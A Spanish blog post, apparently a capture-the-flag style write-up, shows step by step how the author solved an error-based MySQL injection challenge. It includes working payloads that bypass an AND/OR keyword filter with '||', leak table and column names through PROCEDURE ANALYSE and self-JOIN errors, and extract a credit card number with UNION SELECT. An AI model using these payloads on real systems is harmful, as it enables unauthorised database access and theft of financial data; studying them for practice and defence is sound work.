Como a cualquiera que se dedica a este mundillo, me encantan los retos de seguridad, pero por desgracia no suelo poderles dedicar el tiempo que requieren. Muchas veces intento ni siquiera mirarlos, sobretodo si tengo mucho trabajo de otras cosas, porque me "pico" con facilidad y soy capaz de tirarme horas y horas hasta que no doy con la solución.
Hace un par de fin de semanas, mi amigo
Adrián Bravo estaba resolviendo unos retos de seguridad web y me comentó que había un reto que parecía que "tenía su aquel". "Pégale un vistazo a ver si se te ocurre algo", me dijo. Había conseguido picarme a mirarlo, y ya estaba enganchado, estaba perdido...
El reto, para no destriparlo, lo voy a anonimizar, pero el que lo haya hecho o lo haya intentado seguro que reconocer el formato, así que si no queréis que os lo destripe es el momento de dejar de leer AHORA!
El reto era típico, tenemos un campo de texto libre en el que escribimos el nombre de una persona y nos devuelve de nuevo su nombre si lo encuentra. Si ponemos una comilla simple nos devuelve un bonito error de MySQL, así que ya sabemos dos cosas: que tenemos los errores a la vista y que la base de datos es un MySQL:
theUserName=Mary Martin'
com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''mary martin''' at line 1
Vamos a probar ahora una cadena típica de inyección, a ver que tal nos responde la aplicación:
theUserName=Mary Martin' AND 1=1 #
com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1=1 #'' at line 1
El error habla de un error de sintaxis cerca de 1=1, algo que es un poco raro, porque la instrucción SQL que hemos introducido es perfectamente válida. Este tipo de errores suelen ocurrir cuando existen mecanismos de filtrado que eliminan algunas palabras, lo cual puede resultar en que la sintaxis no sea correcta. Como tenemos la suerte de tener los errores a la vista, vamos a forzar un error a ver si la palabra "AND" nos la está filtrando:
theUserName=Mary Martin' aaaaANDbbbb #
com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'aaaabbbb #'' at line 1
Como podéis ver en el error, la cadena "AND" (case insensitive) la ha eliminado, así que es esto lo que nos está provocando errores de sintaxis, y lo tendremos que tener en cuenta. Haciendo algunas pruebas más vemos que la cadena "OR" también se encuentra filtrada, pero no otras cadenas típicas como "UNION", "SELECT", "FROM", etc, así que vamos a poder hacer un UNION de la manera habitual, a ver los nombres de las tablas:
theUserName=Mary Martin' UNION SELECT table_name FROM information_schema.tables #
com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: SELECT command denied to user 'HdmiNoSignal'@'193.1.201.85' for table 'tables'
Este error no me terminó de quedar claro por qué sucedía, si por una falta de permisos o por un error en el nombre, ya que la cadena infORmation_schema contiene la cadena "OR", y por lo tanto el nombre no va a ser nunca correcto. En cualquier caso, parecía que no íbamos a poder obtener los nombres de las tablas de una manera convencional, así que teníamos dos posibles salidas: La primera de ellas era atacar por fuerza bruta los nombres de las tablas, y la segunda es que la información que buscamos esté en la misma tabla contra la que se realiza la query original. El segundo caso es más sencillo, así que vamos a por él primero, a ver si conseguimos sacar el nombre de la tabla.
theUserName=Mary Martin' PROCEDURE ANALYSE() #
Utilizando PROCEDURE ANALYSE() conseguimos obtener una cadena que nos muestra el nombre de base de datos, tabla y columna que devuelve la query original. En este caso, vemos que la tabla se llama "customers", y que contiene al menos una columna llamada "customerName" pero... ¿tendrá más columnas?
theUserName=Mary Martin' || (SELECT * FROM customers)=1 #
java.sql.SQLException: Operand should contain 5 column(s)
Utilizando el operado "||" en lugar de "OR" para evitar el filtrado, podemos hacer una segunda query que nos devolvería todas las columnas de la tabla "customers" y, al compararla con "1", vamos a obtener un error diciendo que el operado debería tener X columnas, que será la cantidad de columnas que tiene la tabla "customers". Ahora solo nos salta falta saber como se llaman, a ver si alguna de ellas contiene la información sobre tarjetas de crédito que buscamos:
theUserName=Mary Martin' || (SELECT * FROM (SELECT * FROM customers a JOIN customers b) c) #
com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Duplicate column name 'customerId'
Una posible manera de hacerlo es provocando un error al hacer un JOIN, ya que si hacemos un JOIN de una tabla consigo misma, los nombres de las columnas van a coincidir, y este error nos va a mostrar el nombre de la columna coincidente. Lamentablemente solo nos muestra uno de los nombres, así que vamos a tener que ir sacando los nombres de forma iterativa usando la sentencia USING (columna1, columna2, columna3) para hacer que el error se de en la columna siguiente:
theUserName=Mary Martin' || (SELECT * FROM (SELECT * FROM customers
a JOIN customers b USING (customerId,customerName)) c) #
¡¡Perfecto!! Parece que ya sabemos el nombre de la tabla y el nombre de la columna que necesitamos, así que ahora solo nos queda hacer la query para obtener la tarjeta de crédito:
theUserName=Mary Martin' UNION SELECT creditCardNumber FROM
customers WHERE customerName='Mary Martin' #
¡Parece que la lo tenemos! Os dejo tapadito el número de tarjeta de crédito para que, aunque conozcáis el reto, al menos lo tengáis que explotar vosotros mismos ;)